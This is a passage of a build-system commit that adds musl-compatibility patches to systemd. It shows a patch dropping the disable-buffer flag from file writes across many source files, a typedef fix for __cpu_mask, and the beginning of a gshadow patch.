+From e4885a8e60f883d9217e26e1db3754c2906aca31 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Fri, 1 Mar 2019 15:22:15 +0800
+Subject: [PATCH 12/22] do not disable buffer in writing files
+
+Do not disable buffer in writing files, otherwise we get
+failure at boot for musl like below.
+
+ [!!!!!!] Failed to allocate manager object.
+
+And there will be other failures, critical or not critical.
+This is specific to musl.
+
+Upstream-Status: Inappropriate [musl]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[Rebased for v242]
+Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+[rebased for systemd 254]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 255.1]
+---
+ src/basic/cgroup-util.c | 12 ++++++------
+ src/basic/namespace-util.c | 4 ++--
+ src/basic/procfs-util.c | 4 ++--
+ src/basic/sysctl-util.c | 2 +-
+ src/binfmt/binfmt.c | 6 +++---
+ src/core/cgroup.c | 2 +-
+ src/core/main.c | 2 +-
+ src/core/smack-setup.c | 8 ++++----
+ src/home/homework.c | 2 +-
+ src/libsystemd/sd-device/sd-device.c | 2 +-
+ src/nspawn/nspawn-cgroup.c | 2 +-
+ src/nspawn/nspawn.c | 6 +++---
+ src/shared/binfmt-util.c | 2 +-
+ src/shared/cgroup-setup.c | 4 ++--
+ src/shared/coredump-util.c | 4 ++--
+ src/shared/hibernate-util.c | 4 ++--
+ src/shared/smack-util.c | 2 +-
+ src/shared/watchdog.c | 2 +-
+ src/sleep/sleep.c | 4 ++--
+ src/storagetm/storagetm.c | 24 ++++++++++++------------
+ src/udev/udev-rules.c | 1 -
+ src/vconsole/vconsole-setup.c | 2 +-
+ 22 files changed, 50 insertions(+), 51 deletions(-)
+
+diff --git a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
+index d2be79622f..e65fecb68d 100644
+--- a/src/basic/cgroup-util.c
++++ b/src/basic/cgroup-util.c
+@@ -417,7 +417,7 @@ int cg_kill_kernel_sigkill(const char *path) {
+ if (r < 0)
+ return r;
+
+- r = write_string_file(killfile, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(killfile, "1", 0);
+ if (r < 0)
+ return r;
+
+@@ -843,7 +843,7 @@ int cg_install_release_agent(const char *controller, const char *agent) {
+
+ sc = strstrip(contents);
+ if (isempty(sc)) {
+- r = write_string_file(fs, agent, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, agent, 0);
+ if (r < 0)
+ return r;
+ } else if (!path_equal(sc, agent))
+@@ -861,7 +861,7 @@ int cg_install_release_agent(const char *controller, const char *agent) {
+
+ sc = strstrip(contents);
+ if (streq(sc, "0")) {
+- r = write_string_file(fs, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "1", 0);
+ if (r < 0)
+ return r;
+
+@@ -888,7 +888,7 @@ int cg_uninstall_release_agent(const char *controller) {
+ if (r < 0)
+ return r;
+
+- r = write_string_file(fs, "0", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "0", 0);
+ if (r < 0)
+ return r;
+
+@@ -898,7 +898,7 @@ int cg_uninstall_release_agent(const char *controller) {
+ if (r < 0)
+ return r;
+
+- r = write_string_file(fs, "", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "", 0);
+ if (r < 0)
+ return r;
+
+@@ -1814,7 +1814,7 @@ int cg_set_attribute(const char *controller, const char *path, const char *attri
+ if (r < 0)
+ return r;
+
+- return write_string_file(p, value, WRITE_STRING_FILE_DISABLE_BUFFER);
++ return write_string_file(p, value, 0);
+ }
+
+ int cg_get_attribute(const char *controller, const char *path, const char *attribute, char **ret) {
+diff --git a/src/basic/namespace-util.c b/src/basic/namespace-util.c
+index 2101f617ad..63817bae17 100644
+--- a/src/basic/namespace-util.c
++++ b/src/basic/namespace-util.c
+@@ -227,12 +227,12 @@ int userns_acquire(const char *uid_map, const char *gid_map) {
+ freeze();
+
+ xsprintf(path, "/proc/" PID_FMT "/uid_map", pid);
+- r = write_string_file(path, uid_map, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(path, uid_map, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write UID map: %m");
+
+ xsprintf(path, "/proc/" PID_FMT "/gid_map", pid);
+- r = write_string_file(path, gid_map, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(path, gid_map, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write GID map: %m");
+
+diff --git a/src/basic/procfs-util.c b/src/basic/procfs-util.c
+index 6cb0ddf575..247cf9e1d1 100644
+--- a/src/basic/procfs-util.c
++++ b/src/basic/procfs-util.c
+@@ -64,13 +64,13 @@ int procfs_tasks_set_limit(uint64_t limit) {
+ * decrease it, as threads-max is the much more relevant sysctl. */
+ if (limit > pid_max-1) {
+ sprintf(buffer, "%" PRIu64, limit+1); /* Add one, since PID 0 is not a valid PID */
+- r = write_string_file("/proc/sys/kernel/pid_max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/pid_max", buffer, 0);
+ if (r < 0)
+ return r;
+ }
+
+ sprintf(buffer, "%" PRIu64, limit);
+- r = write_string_file("/proc/sys/kernel/threads-max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/threads-max", buffer, 0);
+ if (r < 0) {
+ uint64_t threads_max;
+
+diff --git a/src/basic/sysctl-util.c b/src/basic/sysctl-util.c
+index b66a6622ae..8d1c93008a 100644
+--- a/src/basic/sysctl-util.c
++++ b/src/basic/sysctl-util.c
+@@ -58,7 +58,7 @@ int sysctl_write(const char *property, const char *value) {
+
+ log_debug("Setting '%s' to '%s'", p, value);
+
+- return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_SUPPRESS_REDUNDANT_VIRTUAL);
++ return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_SUPPRESS_REDUNDANT_VIRTUAL);
+ }
+
+ int sysctl_writef(const char *property, const char *format, ...) {
+diff --git a/src/binfmt/binfmt.c b/src/binfmt/binfmt.c
+index d21f3f79ff..258607cc7e 100644
+--- a/src/binfmt/binfmt.c
++++ b/src/binfmt/binfmt.c
+@@ -30,7 +30,7 @@ static bool arg_unregister = false;
+
+ static int delete_rule(const char *rulename) {
+ const char *fn = strjoina("/proc/sys/fs/binfmt_misc/", rulename);
+- return write_string_file(fn, "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ return write_string_file(fn, "-1", 0);
+ }
+
+ static int apply_rule(const char *filename, unsigned line, const char *rule) {
+@@ -58,7 +58,7 @@ static int apply_rule(const char *filename, unsigned line, const char *rule) {
+ if (r >= 0)
+ log_debug("%s:%u: Rule '%s' deleted.", filename, line, rulename);
+
+- r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, 0);
+ if (r < 0)
+ return log_error_errno(r, "%s:%u: Failed to add binary format '%s': %m",
+ filename, line, rulename);
+@@ -248,7 +248,7 @@ static int run(int argc, char *argv[]) {
+ return r;
+
+ /* Flush out all rules */
+- r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to flush binfmt_misc rules, ignoring: %m");
+ else
+diff --git a/src/core/cgroup.c b/src/core/cgroup.c
+index 61ac4df1a6..ea18970196 100644
+--- a/src/core/cgroup.c
++++ b/src/core/cgroup.c
+@@ -4578,7 +4578,7 @@ int unit_cgroup_freezer_action(Unit *u, FreezerAction action) {
+ u->freezer_state = FREEZER_THAWING;
+ }
+
+- r = write_string_file(path, one_zero(action == FREEZER_FREEZE), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(path, one_zero(action == FREEZER_FREEZE), 0);
+ if (r < 0)
+ return r;
+
+diff --git a/src/core/main.c b/src/core/main.c
+index 3f71cc0947..0e5aec3e9e 100644
+--- a/src/core/main.c
++++ b/src/core/main.c
+@@ -1678,7 +1678,7 @@ static void initialize_core_pattern(bool skip_setup) {
+ if (getpid_cached() != 1)
+ return;
+
+- r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to write '%s' to /proc/sys/kernel/core_pattern, ignoring: %m",
+ arg_early_core_pattern);
+diff --git a/src/core/smack-setup.c b/src/core/smack-setup.c
+index 7ea902b6f9..1aef2988d0 100644
+--- a/src/core/smack-setup.c
++++ b/src/core/smack-setup.c
+@@ -321,17 +321,17 @@ int mac_smack_setup(bool *loaded_policy) {
+ }
+
+ #if HAVE_SMACK_RUN_LABEL
+- r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK label \"" SMACK_RUN_LABEL "\" on self: %m");
+- r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK ambient label \"" SMACK_RUN_LABEL "\": %m");
+ r = write_string_file("/sys/fs/smackfs/netlabel",
+- "0.0.0.0/0 " SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ "0.0.0.0/0 " SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK netlabel rule \"0.0.0.0/0 " SMACK_RUN_LABEL "\": %m");
+- r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK netlabel rule \"127.0.0.1 -CIPSO\": %m");
+ #endif
+diff --git a/src/home/homework.c b/src/home/homework.c
+index 066483e342..5f92dd7064 100644
+--- a/src/home/homework.c
++++ b/src/home/homework.c
+@@ -278,7 +278,7 @@ static void drop_caches_now(void) {
+ * for details. We write "2" into /proc/sys/vm/drop_caches to ensure dentries/inodes are flushed, but
+ * not more. */
+
+- r = write_string_file("/proc/sys/vm/drop_caches", "2\n", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/vm/drop_caches", "2\n", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to drop caches, ignoring: %m");
+ else
+diff --git a/src/libsystemd/sd-device/sd-device.c b/src/libsystemd/sd-device/sd-device.c
+index 2fbc619a34..09d9591e37 100644
+--- a/src/libsystemd/sd-device/sd-device.c
++++ b/src/libsystemd/sd-device/sd-device.c
+@@ -2516,7 +2516,7 @@ _public_ int sd_device_set_sysattr_value(sd_device *device, const char *sysattr,
+ if (!value)
+ return -ENOMEM;
+
+- r = write_string_file(path, value, WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_NOFOLLOW);
++ r = write_string_file(path, value, 0 | WRITE_STRING_FILE_NOFOLLOW);
+ if (r < 0) {
+ /* On failure, clear cache entry, as we do not know how it fails. */
+ device_remove_cached_sysattr_value(device, sysattr);
+diff --git a/src/nspawn/nspawn-cgroup.c b/src/nspawn/nspawn-cgroup.c
+index a5002437c6..b12e6cd9c9 100644
+--- a/src/nspawn/nspawn-cgroup.c
++++ b/src/nspawn/nspawn-cgroup.c
+@@ -124,7 +124,7 @@ int sync_cgroup(pid_t pid, CGroupUnified unified_requested, uid_t uid_shift) {
+ fn = strjoina(tree, cgroup, "/cgroup.procs");
+
+ sprintf(pid_string, PID_FMT, pid);
+- r = write_string_file(fn, pid_string, WRITE_STRING_FILE_DISABLE_BUFFER|WRITE_STRING_FILE_MKDIR_0755);
++ r = write_string_file(fn, pid_string, WRITE_STRING_FILE_MKDIR_0755);
+ if (r < 0) {
+ log_error_errno(r, "Failed to move process: %m");
+ goto finish;
+diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
+index 6ab604d3dc..bbec6b686c 100644
+--- a/src/nspawn/nspawn.c
++++ b/src/nspawn/nspawn.c
+@@ -2688,7 +2688,7 @@ static int reset_audit_loginuid(void) {
+ if (streq(p, "4294967295"))
+ return 0;
+
+- r = write_string_file("/proc/self/loginuid", "4294967295", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/self/loginuid", "4294967295", 0);
+ if (r < 0) {
+ log_error_errno(r,
+ "Failed to reset audit login UID. This probably means that your kernel is too\n"
+@@ -4141,7 +4141,7 @@ static int setup_uid_map(
+ return log_oom();
+
+ xsprintf(uid_map, "/proc/" PID_FMT "/uid_map", pid);
+- r = write_string_file(uid_map, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, s, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write UID map: %m");
+
+@@ -4151,7 +4151,7 @@ static int setup_uid_map(
+ return log_oom();
+
+ xsprintf(uid_map, "/proc/" PID_FMT "/gid_map", pid);
+- r = write_string_file(uid_map, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, s, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write GID map: %m");
+
+diff --git a/src/shared/binfmt-util.c b/src/shared/binfmt-util.c
+index a26175474b..1413a9c72c 100644
+--- a/src/shared/binfmt-util.c
++++ b/src/shared/binfmt-util.c
+@@ -46,7 +46,7 @@ int disable_binfmt(void) {
+ return 0;
+ }
+
+- r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
+ if (r < 0)
+ return log_warning_errno(r, "Failed to unregister binfmt_misc entries: %m");
+
+diff --git a/src/shared/cgroup-setup.c b/src/shared/cgroup-setup.c
+index 934a16eaf3..c921ced861 100644
+--- a/src/shared/cgroup-setup.c
++++ b/src/shared/cgroup-setup.c
+@@ -351,7 +351,7 @@ int cg_attach(const char *controller, const char *path, pid_t pid) {
+
+ xsprintf(c, PID_FMT "\n", pid);
+
+- r = write_string_file(fs, c, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, c, 0);
+ if (r == -EOPNOTSUPP && cg_is_threaded(path) > 0)
+ /* When the threaded mode is used, we cannot read/write the file. Let's return recognizable error. */
+ return -EUCLEAN;
+@@ -966,7 +966,7 @@ int cg_enable_everywhere(
+ return log_debug_errno(errno, "Failed to open cgroup.subtree_control file of %s: %m", p);
+ }
+
+- r = write_string_stream(f, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_stream(f, s, 0);
+ if (r < 0) {
+ log_debug_errno(r, "Failed to %s controller %s for %s (%s): %m",
+ FLAGS_SET(mask, bit) ? "enable" : "disable", n, p, fs);
+diff --git a/src/shared/coredump-util.c b/src/shared/coredump-util.c
+index 805503f366..01a7ccb291 100644
+--- a/src/shared/coredump-util.c
++++ b/src/shared/coredump-util.c
+@@ -163,7 +163,7 @@ int set_coredump_filter(uint64_t value) {
+ xsprintf(t, "0x%"PRIx64, value);
+
+ return write_string_file("/proc/self/coredump_filter", t,
+- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
++ 0);
+ }
+
+ /* Turn off core dumps but only if we're running outside of a container. */
+@@ -173,7 +173,7 @@ void disable_coredumps(void) {
+ if (detect_container() > 0)
+ return;
+
+- r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", 0);
+ if (r < 0)
+ log_debug_errno(r, "Failed to turn off coredumps, ignoring: %m");
+ }
+diff --git a/src/shared/hibernate-util.c b/src/shared/hibernate-util.c
+index 3eb13d48f6..d09b901be1 100644
+--- a/src/shared/hibernate-util.c
++++ b/src/shared/hibernate-util.c
+@@ -481,7 +481,7 @@ int write_resume_config(dev_t devno, uint64_t offset, const char *device) {
+
+ /* We write the offset first since it's safer. Note that this file is only available in 4.17+, so
+ * fail gracefully if it doesn't exist and we're only overwriting it with 0. */
+- r = write_string_file("/sys/power/resume_offset", offset_str, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume_offset", offset_str, 0);
+ if (r == -ENOENT) {
+ if (offset != 0)
+ return log_error_errno(SYNTHETIC_ERRNO(EOPNOTSUPP),
+@@ -497,7 +497,7 @@ int write_resume_config(dev_t devno, uint64_t offset, const char *device) {
+ log_debug("Wrote resume_offset=%s for device '%s' to /sys/power/resume_offset.",
+ offset_str, device);
+
+- r = write_string_file("/sys/power/resume", devno_str, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume", devno_str, 0);
+ if (r < 0)
+ return log_error_errno(r,
+ "Failed to write device '%s' (%s) to /sys/power/resume: %m",
+diff --git a/src/shared/smack-util.c b/src/shared/smack-util.c
+index 1f88e724d0..feb18b320a 100644
+--- a/src/shared/smack-util.c
++++ b/src/shared/smack-util.c
+@@ -113,7 +113,7 @@ int mac_smack_apply_pid(pid_t pid, const char *label) {
+ return 0;
+
+ p = procfs_file_alloca(pid, "attr/current");
+- r = write_string_file(p, label, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(p, label, 0);
+ if (r < 0)
+ return r;
+
+diff --git a/src/shared/watchdog.c b/src/shared/watchdog.c
+index 4c1a968718..6faf6806a5 100644
+--- a/src/shared/watchdog.c
++++ b/src/shared/watchdog.c
+@@ -93,7 +93,7 @@ static int set_pretimeout_governor(const char *governor) {
+
+ r = write_string_file(sys_fn,
+ governor,
+- WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_VERIFY_IGNORE_NEWLINE);
++ WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_VERIFY_IGNORE_NEWLINE);
+ if (r < 0)
+ return log_error_errno(r, "Failed to set pretimeout_governor to '%s': %m", governor);
+
+diff --git a/src/sleep/sleep.c b/src/sleep/sleep.c
+index 21af3e9e52..6d4b84b5d5 100644
+--- a/src/sleep/sleep.c
++++ b/src/sleep/sleep.c
+@@ -137,7 +137,7 @@ static int write_state(int fd, char * const *states) {
+ if (k < 0)
+ return RET_GATHER(r, k);
+
+- k = write_string_stream(f, *state, WRITE_STRING_FILE_DISABLE_BUFFER);
++ k = write_string_stream(f, *state, 0);
+ if (k >= 0) {
+ log_debug("Using sleep state '%s'.", *state);
+ return 0;
+@@ -155,7 +155,7 @@ static int write_mode(char * const *modes) {
+ STRV_FOREACH(mode, modes) {
+ int k;
+
+- k = write_string_file("/sys/power/disk", *mode, WRITE_STRING_FILE_DISABLE_BUFFER);
++ k = write_string_file("/sys/power/disk", *mode, 0);
+ if (k >= 0) {
+ log_debug("Using sleep disk mode '%s'.", *mode);
+ return 0;
+diff --git a/src/storagetm/storagetm.c b/src/storagetm/storagetm.c
+index ae63baaf79..82eeca479a 100644
+--- a/src/storagetm/storagetm.c
++++ b/src/storagetm/storagetm.c
+@@ -186,7 +186,7 @@ static int nvme_subsystem_unlink(NvmeSubsystem *s) {
+ if (!enable_fn)
+ return log_oom();
+
+- r = write_string_file_at(namespaces_fd, enable_fn, "0", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(namespaces_fd, enable_fn, "0", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to disable namespace '%s' of NVME subsystem '%s', ignoring: %m", e->d_name, s->name);
+
+@@ -254,7 +254,7 @@ static int nvme_subsystem_write_metadata(int subsystem_fd, sd_device *device) {
+ _cleanup_free_ char *truncated = strndup(w, 40); /* kernel refuses more than 40 chars (as per nvme spec) */
+
+ /* The default string stored in 'attr_model' is "Linux" btw. */
+- r = write_string_file_at(subsystem_fd, "attr_model", truncated, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(subsystem_fd, "attr_model", truncated, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set model of subsystem to '%s', ignoring: %m", w);
+ }
+@@ -268,7 +268,7 @@ static int nvme_subsystem_write_metadata(int subsystem_fd, sd_device *device) {
+ return log_oom();
+
+ /* The default string stored in 'attr_firmware' is `uname -r` btw, but truncated to 8 chars. */
+- r = write_string_file_at(subsystem_fd, "attr_firmware", truncated, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(subsystem_fd, "attr_firmware", truncated, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set model of subsystem to '%s', ignoring: %m", truncated);
+ }
+@@ -295,7 +295,7 @@ static int nvme_subsystem_write_metadata(int subsystem_fd, sd_device *device) {
+ if (!truncated)
+ return log_oom();
+
+- r = write_string_file_at(subsystem_fd, "attr_serial", truncated, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(subsystem_fd, "attr_serial", truncated, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set serial of subsystem to '%s', ignoring: %m", truncated);
+ }
+@@ -345,7 +345,7 @@ static int nvme_namespace_write_metadata(int namespace_fd, sd_device *device, co
+ id = id128_digest(j, l);
+ }
+
+- r = write_string_file_at(namespace_fd, "device_uuid", SD_ID128_TO_UUID_STRING(id), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(namespace_fd, "device_uuid", SD_ID128_TO_UUID_STRING(id), 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set uuid of namespace to '%s', ignoring: %m", SD_ID128_TO_UUID_STRING(id));
+
+@@ -408,7 +408,7 @@ static int nvme_subsystem_add(const char *node, int consumed_fd, sd_device *devi
+ if (subsystem_fd < 0)
+ return log_error_errno(subsystem_fd, "Failed to create NVME subsystem '%s': %m", j);
+
+- r = write_string_file_at(subsystem_fd, "attr_allow_any_host", "1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(subsystem_fd, "attr_allow_any_host", "1", 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to set 'attr_allow_any_host' flag: %m");
+
+@@ -423,11 +423,11 @@ static int nvme_subsystem_add(const char *node, int consumed_fd, sd_device *devi
+
+ /* We use /proc/$PID/fd/$FD rather than /proc/self/fd/$FD, because this string is visible to others
+ * via configfs, and by including the PID it's clear to who the stuff belongs. */
+- r = write_string_file_at(namespace_fd, "device_path", FORMAT_PROC_PID_FD_PATH(0, fd), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(namespace_fd, "device_path", FORMAT_PROC_PID_FD_PATH(0, fd), 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write 'device_path' attribute: %m");
+
+- r = write_string_file_at(namespace_fd, "enable", "1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(namespace_fd, "enable", "1", 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write 'enable' attribute: %m");
+
+@@ -557,19 +557,19 @@ static int nvme_port_add_portnr(
+ return 0;
+ }
+
+- r = write_string_file_at(port_fd, "addr_adrfam", af_to_ipv4_ipv6(ip_family), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(port_fd, "addr_adrfam", af_to_ipv4_ipv6(ip_family), 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to set address family on NVME port %" PRIu16 ": %m", portnr);
+
+- r = write_string_file_at(port_fd, "addr_trtype", "tcp", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(port_fd, "addr_trtype", "tcp", 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to set transport type on NVME port %" PRIu16 ": %m", portnr);
+
+- r = write_string_file_at(port_fd, "addr_trsvcid", fname, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(port_fd, "addr_trsvcid", fname, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to set IP port on NVME port %" PRIu16 ": %m", portnr);
+
+- r = write_string_file_at(port_fd, "addr_traddr", ip_family == AF_INET6 ? "::" : "0.0.0.0", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file_at(port_fd, "addr_traddr", ip_family == AF_INET6 ? "::" : "0.0.0.0", 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to set IP address on NVME port %" PRIu16 ": %m", portnr);
+
+diff --git a/src/udev/udev-rules.c b/src/udev/udev-rules.c
+index febe345b4c..a90b610ba1 100644
+--- a/src/udev/udev-rules.c
++++ b/src/udev/udev-rules.c
+@@ -2711,7 +2711,6 @@ static int udev_rule_apply_token_to_event(
+ log_event_debug(dev, token, "ATTR '%s' writing '%s'", buf, value);
+ r = write_string_file(buf, value,
+ WRITE_STRING_FILE_VERIFY_ON_FAILURE |
+- WRITE_STRING_FILE_DISABLE_BUFFER |
+ WRITE_STRING_FILE_AVOID_NEWLINE |
+ WRITE_STRING_FILE_VERIFY_IGNORE_NEWLINE);
+ if (r < 0)
+diff --git a/src/vconsole/vconsole-setup.c b/src/vconsole/vconsole-setup.c
+index 4d82c65f0a..3a3d861b83 100644
+--- a/src/vconsole/vconsole-setup.c
++++ b/src/vconsole/vconsole-setup.c
+@@ -261,7 +261,7 @@ static int toggle_utf8_vc(const char *name, int fd, bool utf8) {
+ static int toggle_utf8_sysfs(bool utf8) {
+ int r;
+
+- r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), 0);
+ if (r < 0)
+ return log_warning_errno(r, "Failed to %s sysfs UTF-8 flag: %m", enable_disable(utf8));
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0013-Handle-__cpu_mask-usage.patch b/meta/recipes-core/systemd/systemd/0013-Handle-__cpu_mask-usage.patch
new file mode 100644
index 0000000000..43f75373a6
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0013-Handle-__cpu_mask-usage.patch
@@ -0,0 +1,60 @@
+From 2f90f8463423cfbb7e83fcef42f1071018c3b56e Mon Sep 17 00:00:00 2001
+From: Scott Murray <scott.murray@konsulko.com>
+Date: Fri, 13 Sep 2019 19:26:27 -0400
+Subject: [PATCH 13/22] Handle __cpu_mask usage
+
+Fixes errors:
+
+src/test/test-cpu-set-util.c:18:54: error: '__cpu_mask' undeclared (first use in this function)
+src/test/test-sizeof.c:73:14: error: '__cpu_mask' undeclared (first use in this function)
+
+__cpu_mask is an internal type of glibc's cpu_set implementation, not
+part of the POSIX definition, which is problematic when building with
+musl, which does not define a matching type. From inspection of musl's
+sched.h, however, it is clear that the corresponding type would be
+unsigned long, which does match glibc's actual __CPU_MASK_TYPE. So,
+add a typedef to cpu-set-util.h defining __cpu_mask appropriately.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+---
+ src/shared/cpu-set-util.h | 2 ++
+ src/test/test-sizeof.c | 2 +-
+ 2 files changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/src/shared/cpu-set-util.h b/src/shared/cpu-set-util.h
+index 3c63a58826..4c2d4347fc 100644
+--- a/src/shared/cpu-set-util.h
++++ b/src/shared/cpu-set-util.h
+@@ -6,6 +6,8 @@
+ #include "macro.h"
+ #include "missing_syscall.h"
+
++typedef unsigned long __cpu_mask;
++
+ /* This wraps the libc interface with a variable to keep the allocated size. */
+ typedef struct CPUSet {
+ cpu_set_t *set;
+diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
+index ea0c58770e..b65c0bd370 100644
+--- a/src/test/test-sizeof.c
++++ b/src/test/test-sizeof.c
+@@ -1,6 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <sched.h>
+ #include <stdio.h>
+ #include <string.h>
+ #include <sys/resource.h>
+@@ -12,6 +11,7 @@
+ #include <float.h>
+
+ #include "time-util.h"
++#include "cpu-set-util.h"
+
+ /* Print information about various types. Useful when diagnosing
+ * gcc diagnostics on an unfamiliar architecture. */
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0014-Handle-missing-gshadow.patch b/meta/recipes-core/systemd/systemd/0014-Handle-missing-gshadow.patch
new file mode 100644
index 0000000000..a751e1ba6f
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0014-Handle-missing-gshadow.patch
@@ -0,0 +1,173 @@
+From b7c827bb44edbb6251c9fcdb80aa03982c0e7bf3 Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Tue, 10 Mar 2020 11:05:20 +0000
+Subject: [PATCH 14/22] Handle missing gshadow
+
+gshadow usage is now present in the userdb code. Mask all uses of it to
+allow compilation on musl
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+[Rebased for v247]
